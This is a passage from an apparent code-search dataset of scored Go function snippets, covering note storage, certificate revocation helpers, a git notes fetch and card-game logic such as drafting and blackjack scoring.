cursor.Decode(&note); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresult = append(result, &note)\n\t}\n\n\treturn result, nil\n}", "title": "" }, { "docid": "8e305ad5c63a03b750e847a82c39a1e6", "score": "0.45396462", "text": "func (rc *BypassRevisionCache) Get(ctx context.Context, docID, revID string, includeBody bool, includeDelta bool) (docRev DocumentRevision, err error) {\n\n\tunmarshalLevel := DocUnmarshalSync\n\tif includeBody {\n\t\tunmarshalLevel = DocUnmarshalAll\n\t}\n\tdoc, err := rc.backingStore.GetDocument(ctx, docID, unmarshalLevel)\n\tif err != nil {\n\t\treturn DocumentRevision{}, err\n\t}\n\n\tdocRev = DocumentRevision{\n\t\tRevID: revID,\n\t}\n\tdocRev.BodyBytes, docRev._shallowCopyBody, docRev.History, docRev.Channels, docRev.Removed, docRev.Attachments, docRev.Deleted, docRev.Expiry, err = revCacheLoaderForDocument(ctx, rc.backingStore, doc, revID)\n\tif err != nil {\n\t\treturn DocumentRevision{}, err\n\t}\n\n\trc.bypassStat.Add(1)\n\n\treturn docRev, nil\n}", "title": "" }, { "docid": "3652265fb3e12b5c55b34528383057f6", "score": "0.45290074", "text": "func (r *commonRepoManager) LastRollRev() string {\n\tr.infoMtx.RLock()\n\tdefer r.infoMtx.RUnlock()\n\treturn r.lastRollRev\n}", "title": "" }, { "docid": "5ff52a7a39eb1f7c451db99bd1c37c7e", "score": "0.45245722", "text": "func GetCRVDelta(revocationNumbers []uint64) (*bitarray.BitArray) {\n\tmaxNum := max(revocationNumbers)\n\tcrvDelta := bitarray.NewBitArray(maxNum + 1)\t\n\tfor _, revocationNum := range revocationNumbers {\n\t\tcrvDelta.SetBit(revocationNum)\n\t}\n\treturn &crvDelta\n}", "title": "" }, { "docid": "d71d47b912c65ec2a4fcde9afad6cabd", "score": "0.4511755", "text": "func GetNote(w http.ResponseWriter, r *http.Request) {\n\tvar notes []Note\n\tfor _, v := range noteStore {\n\t\tnotes = append(notes, v)\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tj, err := json.Marshal(notes) //convierte la estructura de notes a json\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(j)\n}", "title": "" }, { "docid": "910ed4271ad5ec163fc7c634026ee0f3", "score": "0.45093322", "text": "func getRevocationInfo(info int) string {\n\tvar result []string\n\n\tif info&1 == 1 {\n\t\tresult = append(result, \"CRL\")\n\t}\n\n\tif info&2 == 2 {\n\t\tresult = append(result, \"OCSP\")\n\t}\n\n\treturn strings.Join(result, \" \")\n}", "title": "" }, { "docid": "5e6bc29b7624af830b70da35ff3f9206", "score": "0.44994938", "text": "func (repo *GitRepo) PullNotes(remote, notesRefPattern string) error {\n\tremoteNotesRefPattern := getRemoteNotesRef(remote, notesRefPattern)\n\tfetchRefSpec := fmt.Sprintf(\"+%s:%s\", notesRefPattern, remoteNotesRefPattern)\n\terr := repo.runGitCommandInline(\"fetch\", remote, fetchRefSpec)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn repo.MergeNotes(remote, notesRefPattern)\n}", "title": "" }, { "docid": "8f43c3c1ca16a1090a9aea5a785df672", "score": "0.44973695", "text": "func AuthenticateRevocation(clientId, clientSecret string) ClientOption {\n\treturn func(op *runtime.ClientOperation) {\n\t\top.AuthInfo = newRevocationCreds(clientId, clientSecret)\n\t}\n}", "title": "" }, { "docid": "69a082bb5fa279a5bd251225bcd35f29", "score": "0.44919834", "text": "func (o *ErratumDetails) GetReferences() []Reference {\n\tif o == nil || IsNil(o.References) {\n\t\tvar ret []Reference\n\t\treturn ret\n\t}\n\treturn o.References\n}", "title": "" }, { "docid": "61a23a22486ea3ddca640d96b58c4ed4", "score": "0.44816646", "text": "func (o *IssuedCertificate) HasRevoked() bool {\n\tif o != nil && o.Revoked != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "3c5c6dbb945247dca52c68d1df973a30", "score": "0.4479891", "text": "func (o *TaskremindersIdJsonReminder) GetNoteOk() (*string, bool) {\n\tif o == nil || o.Note == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Note, true\n}", "title": "" }, { "docid": "3261d6ee718436302df025d503bd1af9", "score": "0.44269708", "text": "func (o *IssuedCertificate) GetRevocationReasonOk() (*float32, bool) {\n\tif o == nil || o.RevocationReason == nil {\n\t\treturn nil, false\n\t}\n\treturn o.RevocationReason, true\n}", "title": "" }, { "docid": "58267e44991ebbc653c851cf44e65326", "score": "0.4418128", "text": "func (o *IssuedCertificate) GetRevocationTimeOk() (*time.Time, bool) {\n\tif o == nil || o.RevocationTime == nil {\n\t\treturn nil, false\n\t}\n\treturn o.RevocationTime, true\n}", "title": "" }, { "docid": "65ae102b85faae13af740ff4060438c8", "score": "0.44167936", "text": "func (c *FakeContainerAnalysisNotes) Get(name string, options v1.GetOptions) (result *v1alpha1.ContainerAnalysisNote, err error) {\n\tobj, err := c.Fake.\n\t\tInvokes(testing.NewGetAction(containeranalysisnotesResource, c.ns, name), &v1alpha1.ContainerAnalysisNote{})\n\n\tif obj == nil {\n\t\treturn nil, err\n\t}\n\treturn obj.(*v1alpha1.ContainerAnalysisNote), err\n}", "title": "" } ]
873601d5a71a862d283d9c0e8530d213
TakeCard take a deck and player and simulates the player taking a card from the deck and consuming the point value
[ { "docid": "e189449bf0097049fba482028e22604e", "score": "0.7343101", "text": "func TakeCard(d *Deck, p *Player) (int, error) {\n\tc, err := DealCard(d)\n\tif err != nil {\n\t\treturn 0, errors.New(\"deck is empty\")\n\t}\n\tp.score += c.value\n\treturn c.value, nil\n}", "title": "" } ]
[ { "docid": "dae2677178485b193ce233c27f40c439", "score": "0.6889946", "text": "func playCard(p Player, victim Player, c Card) (Player, Player){\n\tif (c.Action == \"DRAW\"){\t\t\t//FORCES OPPONENT TO DRAW THAT MANY\n\t\tfmt.Println(p.Name, \"played a DRAW\", c.Count, \"card!\")\n\t\tvictim.Drawing = victim.Drawing + c.Count\n\t} else if (c.Action == \"SKIP\"){\n\t\tfmt.Println(p.Name, \"played a SKIP\", c.Count, \"card!\")\n\t\tp.Drawing = p.Drawing - c.Count\n\t\tif (p.Drawing < 0){p.Drawing = 0}\n\t} else if (c.Action == \"MILL\"){\n\t\tfmt.Println(p.Name, \"played a MILL\", c.Count, \"card!\")\n\t\tp.Milling = p.Milling + c.Count\n\t}\n\tfor i := 0; i < len(p.Hand); i++{\n\t\tif (p.Hand[i] == c){\n\t\t\tp.Hand = remove(p.Hand, i)\n\t\t\ti = len(p.Hand)+1\n\t\t}\n\t}\n\treturn p, victim\n}", "title": "" }, { "docid": "830a0f55bb0acc7da7c8c1eb422cb120", "score": "0.64201736", "text": "func takeTurn(p Player, d []Card) (Player, []Card, bool) {\n\tnotDead := true\n\t// the player mills all cards he's supposed to first\n\tfmt.Println(p.Name, \"is Milling\", p.Milling, \"cards\")\n\td, notDead = millCards(p.Milling, d)\n\t// the player Drawing all of his cards.\n\tif (notDead){\n\t\tfmt.Println(p.Name, \"is Drawing\", p.Drawing, \"cards\")\n\t\tp.Hand, d, notDead = drawCards(p.Drawing, p.Hand, d)\n\t}\n\t// then resets his draw to 1, and mill to 0\n\n\tp.Drawing = 1\n\tp.Milling = 0\n\treturn p, d, notDead\n}", "title": "" }, { "docid": "62164b993abb7e581cefcb0b14b197ef", "score": "0.6225382", "text": "func (s *CardsService) TakeCard(ctx context.Context, r TakeCardRequest) (*TakeCardResponse, error) {\n\trequestBodyBytes, err := json.Marshal(r)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CardsService.TakeCard: marshal TakeCardRequest\")\n\t}\n\tsignature, err := generateSignature(requestBodyBytes, s.client.secret)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CardsService.TakeCard: generate signature TakeCardRequest\")\n\t}\n\n\turl := s.client.RemoteHost + \"/api/CardsService.TakeCard\"\n\ts.client.Debug(fmt.Sprintf(\"POST %s\", url))\n\ts.client.Debug(fmt.Sprintf(\">> %s\", string(requestBodyBytes)))\n\treq, err := http.NewRequest(http.MethodPost, url, bytes.NewReader(requestBodyBytes))\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CardsService.TakeCard: NewRequest\")\n\t}\n\treq.Header.Set(\"X-API-KEY\", s.client.apiKey)\n\treq.Header.Set(\"X-API-SIGNATURE\", signature)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"Accept-Encoding\", \"gzip\")\n\treq = req.WithContext(ctx)\n\tresp, err := s.client.HTTPClient.Do(req)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CardsService.TakeCard\")\n\t}\n\tdefer resp.Body.Close()\n\tvar response struct {\n\t\tTakeCardResponse\n\t\tError string\n\t}\n\tvar bodyReader io.Reader = resp.Body\n\tif strings.Contains(resp.Header.Get(\"Content-Encoding\"), \"gzip\") {\n\t\tdecodedBody, err := gzip.NewReader(resp.Body)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"CardsService.TakeCard: new gzip reader\")\n\t\t}\n\t\tdefer decodedBody.Close()\n\t\tbodyReader = decodedBody\n\t}\n\trespBodyBytes, err := ioutil.ReadAll(bodyReader)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"CardsService.TakeCard: read response body\")\n\t}\n\tif err := json.Unmarshal(respBodyBytes, &response); err != nil {\n\t\tif resp.StatusCode != http.StatusOK {\n\t\t\treturn nil, errors.Errorf(\"CardsService.TakeCard: (%d) %v\", resp.StatusCode, string(respBodyBytes))\n\t\t}\n\t\treturn nil, err\n\t}\n\tif response.Error != \"\" {\n\t\treturn nil, errors.New(response.Error)\n\t}\n\treturn &response.TakeCardResponse, nil\n}", "title": "" }, { "docid": "eb88038ac8b2e1be0679f753cb80084c", "score": "0.608237", "text": "func TakePlayerTurn(gs GameState) GameState {\n\tvar input string\n\tfmt.Println(\"Player:\", gs.Player)\n\tfmt.Println(\"Dealer:\", gs.Dealer.DealerString())\n\tfmt.Println(\"What will you do? (h)it, (s)tand\")\n\tfmt.Scanf(\"%s\\n\", &input)\n\n\tswitch input {\n\tcase hit:\n\t\treturn Hit(gs)\n\tcase stand:\n\t\treturn Stand(gs)\n\tdefault:\n\t\tfmt.Println(\"Command not recognised: enter (h)it or (s)tand\")\n\t\treturn gs\n\t}\n}", "title": "" }, { "docid": "16a1978b709606ef10ba00d84c7cf444", "score": "0.59774715", "text": "func (p *Player) pickCards(cm card.CardMap, currentTurn card.Turn) [2]card.Card {\n\tfmt.Println(\"-------------------\")\n\tfmt.Printf(\"turn:%v\\n\", currentTurn)\n\tfmt.Printf(\"player:%v point:%v\\n\", p.name, p.point)\n\tfmt.Printf(\"map:%v\\n\", cm)\n\n\tfirstTarget := p.strategy.DecideFirstTarget(cm.Copy(), currentTurn)\n\tfirstPicked := p.pickCard(firstTarget, cm.Copy(), currentTurn)\n\tfmt.Printf(\"firstTarget:%v\\n\", firstTarget)\n\tfmt.Printf(\"firstPicked:%v\\n\", firstPicked)\n\n\tcm.Drop(firstPicked)\n\n\tsecondTarget := p.strategy.DecideSecondTarget(cm.Copy(), currentTurn, firstPicked)\n\tsecondPicked := p.pickCard(secondTarget, cm.Copy(), currentTurn)\n\tfmt.Printf(\"secondTarget:%v\\n\", secondTarget)\n\tfmt.Printf(\"secondPicked:%v\\n\", secondPicked)\n\n\treturn [2]card.Card{firstPicked, secondPicked}\n}", "title": "" }, { "docid": "919db807bae140693aae6edc0289a166", "score": "0.58849484", "text": "func (p *Player) pickCard(target card.Card, cm card.CardMap, currentTurn card.Turn) card.Card {\n\tlist := newSortedCardList(cm)\n\tfmt.Println(\"picking card...\")\n\tfor _, e := range list {\n\t\tprobability := p.calcCardsProbability(uint(len(cm)), int(currentTurn), int(cm[e.key]))\n\t\tpickedCard := pickCardsProbabilistically(cm, e.key, probability)\n\t\tfmt.Printf(\"%v,%d => %v,%d (%f))\\n\", e.key, cm[e.key], pickedCard, cm[pickedCard], probability)\n\t\tif e.key == target {\n\t\t\treturn pickedCard\n\t\t}\n\t\tcm.Drop(pickedCard)\n\t}\n\tpanic(\"coudnt pick card\")\n}", "title": "" }, { "docid": "06934a84fc2805b3369727f37605cfa4", "score": "0.5838452", "text": "func dealCard(d *Deck, p *Player) {\n\tp.Cards = append(p.Cards, d.Cards[0]) // add the deck's top card to the player's hand\n\td.Cards = d.Cards[1:] // remove the top card from the deck\n\tupdatePlayerState(p)\n\treportAfterDealCard((p))\n}", "title": "" }, { "docid": "adb7e50fa242512f623b6aab8e3646a0", "score": "0.56531686", "text": "func (c *Cards) Take() Cards {\n\td := c.Peek()\n\t*c ^= d\n\treturn d\n}", "title": "" }, { "docid": "b0e33bc5a79c8089f20b8fad9f221ebc", "score": "0.5574191", "text": "func play(t int, hand []string, highace bool) (int, []string, bool) {\n\tfor t < 21 {\n\t\tif askYn(\"Would you like to hit? [Y/n]: \") {\n\t\t\tnc, nv := draw() // nc=new card; nv=new value.\n\t\t\tswitch {\n\t\t\tcase strings.Contains(nc, \"Ace\") && t+nv <= 21:\n\t\t\t\thighace = true\n\t\t\t\tt += nv\n\t\t\tcase strings.Contains(nc, \"Ace\") && t+nv > 21:\n\t\t\t\tt++\n\t\t\tdefault:\n\t\t\t\tt += nv\n\t\t\t}\n\t\t\thand = append(hand, nc)\n\t\t\tfmt.Println(\"*** Your next card:\", nc)\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t\tif highace == true && t > 21 {\n\t\t\tfmt.Println(\"High Ace ('soft' hand) becomes Low Ace ('hard' hand)...\")\n\t\t\thighace = false\n\t\t\tt -= 10\n\t\t}\n\t\tif t < 21 && len(hand) == 5 {\n\t\t\tfmt.Println(\"5-card hand... YOU WIN!! :D\")\n\t\t\tbreak\n\t\t}\n\t\tswitch {\n\t\tcase t == 21:\n\t\t\tfmt.Println(\"BLACKJACK!! :D\")\n\t\tcase t > 21:\n\t\t\tfmt.Println(\"B U S T E D! :(\")\n\t\tdefault:\n\t\t\tfmt.Println(\"Current score:\", t)\n\t\t}\n\t}\n\treturn t, hand, highace\n}", "title": "" }, { "docid": "95727f71c40114c71c4b77e2b647aa74", "score": "0.5551365", "text": "func doPick(tx *sql.Tx, userID int64, cardID int64, pass bool) (int64, int64, []string, int64, error) {\n\tannouncements := []string{}\n\n\t// First we need information about the card. Determine which pack the card is in,\n\t// where that pack is at the table, who sits at that position, which draft that\n\t// pack is a part of, and which round that card is in.\n\tquery := `select\n packs.id,\n seats.position,\n seats.draft,\n seats.user,\n seats.round\n from cards\n join packs on cards.pack = packs.id\n join seats on packs.seat = seats.id\n where cards.id = ?`\n\n\trow := tx.QueryRow(query, cardID)\n\tvar myPackID int64\n\tvar position int64\n\tvar draftID int64\n\tvar userID2 int64\n\tvar round int64\n\terr := row.Scan(&myPackID, &position, &draftID, &userID2, &round)\n\n\tif err != nil {\n\t\treturn draftID, myPackID, announcements, round, err\n\t} else if userID != userID2 {\n\t\treturn draftID, myPackID, announcements, round, fmt.Errorf(\"card does not belong to the user.\")\n\t} else if round == 0 {\n\t\treturn draftID, myPackID, announcements, round, fmt.Errorf(\"card has already been picked.\")\n\t}\n\n\t// Now get the pack id that the user is allowed to pick from in the draft that the\n\t// card is from. Note that there might be no such pack.\n\tquery = `select\n v_packs.id\n from seats\n join v_packs on seats.id = v_packs.seat\n where seats.user = ?\n and seats.draft = ?\n and seats.round = v_packs.round\n order by v_packs.count desc\n limit 1`\n\n\trow = tx.QueryRow(query, userID, draftID)\n\tvar myPackID2 int64\n\terr = row.Scan(&myPackID2)\n\n\tif err != nil {\n\t\treturn draftID, myPackID, announcements, round, err\n\t} else if myPackID != myPackID2 {\n\t\treturn draftID, myPackID, announcements, round, fmt.Errorf(\"card is not in the next available pack.\")\n\t}\n\n\t// once we're here, we know the pick is valid\n\n\t// Determine which pack we're putting the drafted card into.\n\tquery = `select\n v_packs.id,\n v_packs.count\n from v_packs\n join seats on seats.id = v_packs.seat\n where v_packs.round = 0\n and seats.user = ?\n and seats.draft = ?`\n\n\trow = tx.QueryRow(query, userID, draftID)\n\tvar myPicksID int64\n\tvar myCount int64\n\terr = row.Scan(&myPicksID, &myCount)\n\n\tif err != nil {\n\t\treturn draftID, myPackID, announcements, round, err\n\t}\n\n\t// Are we passing the pack after we've picked the card?\n\tif pass {\n\t\t// Get the seat position that the pack will be passed to.\n\t\tvar newPosition int64\n\t\tif round%2 == 0 {\n\t\t\tnewPosition = position - 1\n\t\t\tif newPosition == -1 {\n\t\t\t\tnewPosition = 7\n\t\t\t}\n\t\t} else {\n\t\t\tnewPosition = position + 1\n\t\t\tif newPosition == 8 {\n\t\t\t\tnewPosition = 0\n\t\t\t}\n\t\t}\n\n\t\t// Now get the seat id that the pack will be passed to.\n\t\tquery = `select\n seats.id,\n users.discord_id\n from seats\n left join users on seats.user = users.id\n where seats.draft = ?\n and seats.position = ?`\n\n\t\trow = tx.QueryRow(query, draftID, newPosition)\n\t\tvar newPositionID int64\n\t\tvar newPositionDiscordID sql.NullString\n\t\terr = row.Scan(&newPositionID, &newPositionDiscordID)\n\t\tif err != nil {\n\t\t\treturn draftID, myPackID, announcements, round, err\n\t\t}\n\n\t\t// Put the picked card into the player's picks.\n\t\tquery = `update cards set pack = ? where id = ?`\n\n\t\t_, err = tx.Exec(query, myPicksID, cardID)\n\t\tif err != nil {\n\t\t\treturn draftID, myPackID, announcements, round, err\n\t\t}\n\n\t\t// Move the pack to the next seat.\n\t\tquery = `update packs set seat = ? where id = ?`\n\t\t_, err = tx.Exec(query, newPositionID, myPackID)\n\t\tif err != nil {\n\t\t\treturn draftID, myPackID, announcements, round, err\n\t\t}\n\n\t\t// Get the number of remaining packs in the seat.\n\t\tquery = `select\n count(1)\n from v_packs\n join seats on v_packs.seat = seats.id\n where seats.user = ?\n and v_packs.round = ?\n and v_packs.count > 0\n and seats.draft = ?`\n\t\trow = tx.QueryRow(query, userID, round, draftID)\n\t\tvar packsLeftInSeat int64\n\t\terr = row.Scan(&packsLeftInSeat)\n\t\tif err != nil {\n\t\t\treturn draftID, myPackID, announcements, round, err\n\t\t}\n\n\t\tif packsLeftInSeat == 0 {\n\t\t\t// If there are 0 packs left in the seat, check to see if the player we passed the pack to\n\t\t\t// is in the same round as us. If the rounds match, NotifyByDraftAndPosition.\n\t\t\tquery = `select\n count(1)\n from seats a\n join seats b on a.draft = b.draft\n where a.user = ?\n and b.position = ?\n and a.draft = ?\n and a.round = b.round`\n\t\t\trow = tx.QueryRow(query, userID, newPosition, draftID)\n\t\t\tvar roundsMatch int64\n\t\t\terr = row.Scan(&roundsMatch)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"cannot determine if rounds match for notify\")\n\t\t\t} else if roundsMatch == 1 && newPositionDiscordID.Valid {\n\t\t\t\tlog.Printf(\"attempting to notify position %d draft %d\", newPosition, draftID)\n\t\t\t\terr = NotifyByDraftAndDiscordID(draftID, newPositionDiscordID.String)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"error with notify\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Now that we've passed the pack, check to see if we should advance to the next round.\n\t\t\t// Update our round.\n\n\t\t\t// WARNING: if you ever have a draft with anything other than 15 cards per pack, or you have\n\t\t\t// something like Lore Seeker in your draft, this is going to break horribly.\n\t\t\t// If we're only doing normal drafts, round is effectively something that can be calculated,\n\t\t\t// but by explicitly storing it, we allow ourselves the possibility of expanding support to\n\t\t\t// weirder formats.\n\t\t\tquery = `update seats set round = ? where user = ? and draft = ?`\n\n\t\t\t_, err = tx.Exec(query, (myCount+1)/15+1, userID, draftID)\n\t\t\tif err != nil {\n\t\t\t\treturn draftID, myPackID, announcements, round, err\n\t\t\t}\n\n\t\t\t// If the rounds do NOT match from earlier, we have a situation where players are in different\n\t\t\t// rounds. Look for a blocking player.\n\t\t\tif roundsMatch == 0 {\n\t\t\t\t// We now know that we've passed a pack to someone in a different round.\n\t\t\t\t// We know that player is necessarily in a round earlier than ours because\n\t\t\t\t// we couldn't pass them a pack from a round they're already finished with.\n\t\t\t\t// That means we did not send a notification, because that player can't yet\n\t\t\t\t// pick from that pack.\n\t\t\t\t// That means there is a chance someone else is blocking the draft and needs\n\t\t\t\t// a friendly reminder to make their picks.\n\t\t\t\t// Before we find the blocking player, we need to make sure we're not the\n\t\t\t\t// only ones in this round.\n\t\t\t\t// If we are the only ones in this round, we very likely just passed the\n\t\t\t\t// blocking player their last pick of their round, so they are very likely\n\t\t\t\t// the most recent ping. We don't want to double ping.\n\t\t\t\tquery = `select\n count(1)\n from seats\n where draft = ?\n group by round\n order by round desc\n limit 1`\n\n\t\t\t\trow = tx.QueryRow(query, draftID)\n\t\t\t\tvar nextRoundPlayers int64\n\t\t\t\terr = row.Scan(&nextRoundPlayers)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"error counting players and rounds\")\n\t\t\t\t} else if nextRoundPlayers == 8 && myCount+1 == 45 {\n\t\t\t\t\t// The draft is over. Notify the admin.\n\t\t\t\t\terr = NotifyEndOfDraft(tx, draftID)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Printf(\"error notifying end of draft: %s\", err.Error())\n\t\t\t\t\t}\n\t\t\t\t} else if nextRoundPlayers > 1 {\n\t\t\t\t\t// Now we know that we are not the only player in this round.\n\t\t\t\t\t// Get the position of all players that currently have a pick.\n\t\t\t\t\tquery = `select\n seats.position,\n users.discord_id\n from seats\n left join v_packs on seats.id = v_packs.seat\n join users on seats.user = users.id\n where v_packs.count > 0\n and v_packs.round = seats.round\n and seats.draft = ?\n group by seats.id`\n\n\t\t\t\t\trows, err := tx.Query(query, draftID)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Printf(\"error determining if there's a blocking player\")\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdefer rows.Close()\n\n\t\t\t\t\t\trowCount := 0\n\t\t\t\t\t\tvar blockingPosition int64\n\t\t\t\t\t\tvar blockingDiscordID sql.NullString\n\t\t\t\t\t\tfor rows.Next() {\n\t\t\t\t\t\t\trowCount++\n\t\t\t\t\t\t\terr = rows.Scan(&blockingPosition, &blockingDiscordID)\n\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\tlog.Printf(\"some kind of error with scanning: %s\", err.Error())\n\t\t\t\t\t\t\t\trowCount = 2\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif rowCount == 1 && blockingDiscordID.Valid {\n\t\t\t\t\t\t\terr = NotifyByDraftAndDiscordID(draftID, blockingDiscordID.String)\n\t\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t\tlog.Printf(\"error with blocking notify\")\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// we're in some sort of non-working cogwork librarian situation\n\t\t// just take the card from the pack.\n\t\tquery = `update cards set pack = ? where id = ?`\n\n\t\t_, err = tx.Exec(query, myPicksID, cardID)\n\t\tif err != nil {\n\t\t\treturn draftID, myPackID, announcements, round, err\n\t\t}\n\t}\n\n\tlog.Printf(\"player %d in draft %d took card %d\", userID, draftID, cardID)\n\n\treturn draftID, myPackID, announcements, round, nil\n}", "title": "" }, { "docid": "efa0db631277ba197b768ea7e998b0e8", "score": "0.5496408", "text": "func recordPlayer(player *engine.Player, score uint8) (newPlayer database.Player, has2Cbs bool) {\n\tvar hand []database.Card\n\n\t// activeCards is ithe card or cards that have been played. They remain with the player until\n\t// the round has finished.\n\tvar activeCards []database.Card\n\n\tfor i := 0; i < len(player.Hand); i++ {\n\t\tcardState := player.Hand[i]\n\t\tcard := database.Card{Suit: cardState.Suit, Value: cardState.Value}\n\n\t\tif cardState.Suit == database.Clubs && cardState.Value == 1 {\n\t\t\thas2Cbs = true\n\t\t}\n\n\t\tif cardState.Played {\n\t\t\tactiveCards = append(activeCards, card)\n\t\t} else {\n\t\t\thand = append(hand, card)\n\t\t}\n\t}\n\n\tnewPlayer = database.Player{\n\t\tHand: hand,\n\t\tTotal: score,\n\t\tActive: activeCards,\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "e28b652b1b97ceb0b9eb41b69a129ab0", "score": "0.54484904", "text": "func (ctrl PlayerController) Take(c *gin.Context) {\n\tvar body forms.Player\n\tvar model models.Player\n\n\tif c.BindJSON(&body) == nil {\n\t\tif _, err := model.Take(body); err != nil {\n\t\t\tc.JSON(422, gin.H{\"error\": err.Error()})\n\t\t\treturn\n\t\t}\n\n\t\tc.Status(200)\n\t}\n}", "title": "" }, { "docid": "e4c16ce24ec83d1abe3aa0c6cf15b6f1", "score": "0.5445083", "text": "func draw() (string, int) {\n\ttopcard := d[0]\n\td = d[1:]\n\tvalue := cardEval(topcard)\n\treturn topcard, value\n}", "title": "" }, { "docid": "b561046701f4f9149b4d2a4d9f4ce1df", "score": "0.54023767", "text": "func IssueCard(currency types.Currency, color string, name string) types.Card {\n\tnewCard := types.Card{\n\t\tID: 1000,\n\t\tPAN: \"5058 xxxx xxxx 0001\",\n\t\tBalance: 0,\n\t\tCurrency: currency,\n\t\tColor: color,\n\t\tName: name,\n\t\tActive: true,\n\t}\n\treturn newCard\n}", "title": "" }, { "docid": "fc53d684ea79a53915b72de957949533", "score": "0.53972965", "text": "func (c *combat) takeTurn() int {\n\tif c.seen[c.hash()] {\n\t\treturn 1\n\t}\n\tif len(c.d1) == 0 {\n\t\treturn 2\n\t}\n\tif len(c.d2) == 0 {\n\t\treturn 1\n\t}\n\tc.seen[c.hash()] = true\n\ta, b := c.d1[0], c.d2[0]\n\tc.d1 = c.d1[1:]\n\tc.d2 = c.d2[1:]\n\troundWinner := 0\n\tif a <= len(c.d1) && b <= len(c.d2) {\n\t\t//build and use the result of the new game.\n\t\tsubC := combat{seen: make(map[string]bool)}\n\t\tfor _, card := range c.d1[:a] {\n\t\t\tsubC.d1 = append(subC.d1, card)\n\t\t}\n\t\tfor _, card := range c.d2[:b] {\n\t\t\tsubC.d2 = append(subC.d2, card)\n\t\t}\n\t\troundWinner = subC.winner()\n\t} else if a > b {\n\t\troundWinner = 1\n\t} else if b > a {\n\t\troundWinner = 2\n\t} else {\n\t\tlog.Fatalf(\"there was a tie\")\n\t}\n\tif roundWinner == 1 {\n\t\tc.d1 = append(c.d1, a, b)\n\t} else if roundWinner == 2 {\n\t\tc.d2 = append(c.d2, b, a)\n\t} else {\n\t\tlog.Fatal(\"each round must have a winner\")\n\t}\n\treturn 0\n}", "title": "" }, { "docid": "626043a475cbb4e5194868cfa73ab5fd", "score": "0.53947127", "text": "func CreditCard(args ...interface{}) (ret string, err error) {\n\tif len(args) < 1 {\n\t\treturn ret, fmt.Errorf(common.WrongArgsCount)\n\t}\n\treturn SmokeInner(args[0], 8, 4, \"*\")\n}", "title": "" }, { "docid": "d0a451927e0a45fe880f62314f318033", "score": "0.53213763", "text": "func sumOfPoints(p *Player) int {\n\trankToPoints := map[string]int{\n\t\t\"Ace\": 11,\n\t\t\"Two\": 2,\n\t\t\"Three\": 3,\n\t\t\"Four\": 4,\n\t\t\"Five\": 5,\n\t\t\"Six\": 6,\n\t\t\"Seven\": 7,\n\t\t\"Eight\": 8,\n\t\t\"Nine\": 9,\n\t\t\"Ten\": 10,\n\t\t\"Jack\": 10,\n\t\t\"Queen\": 10,\n\t\t\"King\": 10,\n\t}\n\n\t// initial calculation without taking account of the Ace rules\n\ttotalPoints := 0\n\tfunc() {\n\t\tfor _, c := range p.Cards {\n\t\t\ttotalPoints += rankToPoints[c.rank]\n\t\t}\n\t}()\n\n\t// Ace is 1 or 10 points when the player has 3 cards - depending on whether the player is busted\n\t// Ace is 1 point when player has more than 3 cards\n\tswitch {\n\tcase len(p.Cards) == 3: // if player has 3 cards\n\t\trankToPoints[\"Ace\"] = 10 // if player is not busted then Ace is 10 points\n\t\tif p.points > 21 { // if player is busted then Ace becomes 1 point\n\t\t\trankToPoints[\"Ace\"] = 1\n\t\t}\n\tcase len(p.Cards) > 3: // Ace is 1 point when player has more than 3 cards\n\t\trankToPoints[\"Ace\"] = 1\n\t}\n\n\t// recalculate using the newly assigned Ace points\n\ttotalPoints = 0\n\tfunc() {\n\t\tfor _, c := range p.Cards {\n\t\t\ttotalPoints += rankToPoints[c.rank]\n\t\t}\n\t}()\n\n\treturn totalPoints\n}", "title": "" }, { "docid": "2a73720728e512c09c82cc78a274494c", "score": "0.5320124", "text": "func selectCardForDeck(cards []creature, deck *deck) int {\n\tfor i, card := range cards {\n\t\tif deck.manaCurve[card.cost] < targetManaCurve[card.cost] {\n\t\t\tdeck.add(card)\n\t\t\treturn i\n\t\t}\n\t}\n\tdeck.add(cards[0])\n\treturn 0\n}", "title": "" }, { "docid": "1095f03cfca0c060367e1fa4636322ae", "score": "0.5299662", "text": "func (t Trick) Points(trump card.Suit) (p int) {\n\tfor _, c := range t.Cards {\n\t\tp += c.Points(trump)\n\t}\n\treturn p\n}", "title": "" }, { "docid": "c72cb5311368f102a2c3036adfba53aa", "score": "0.5272928", "text": "func (c Card) Points(s Suit) int {\n\tif c.Suit != s {\n\t\treturn 0\n\t}\n\tswitch c.Value {\n\tcase Ace, Jack, Joker, Ten, Deuce:\n\t\treturn 1\n\tcase Five, OffFive:\n\t\treturn 5\n\t}\n\treturn 0\n}", "title": "" }, { "docid": "8c8818a75164c85253c4a942c3393e81", "score": "0.5221981", "text": "func (marble *Marble) TakeTurn(value int) (score int, currentMarble *Marble) {\n\t// If the value is not divisible by 23, insert a new marble between\n\t// marble.Next and Marble.Next.Next (the next, and the one after that),\n\t// 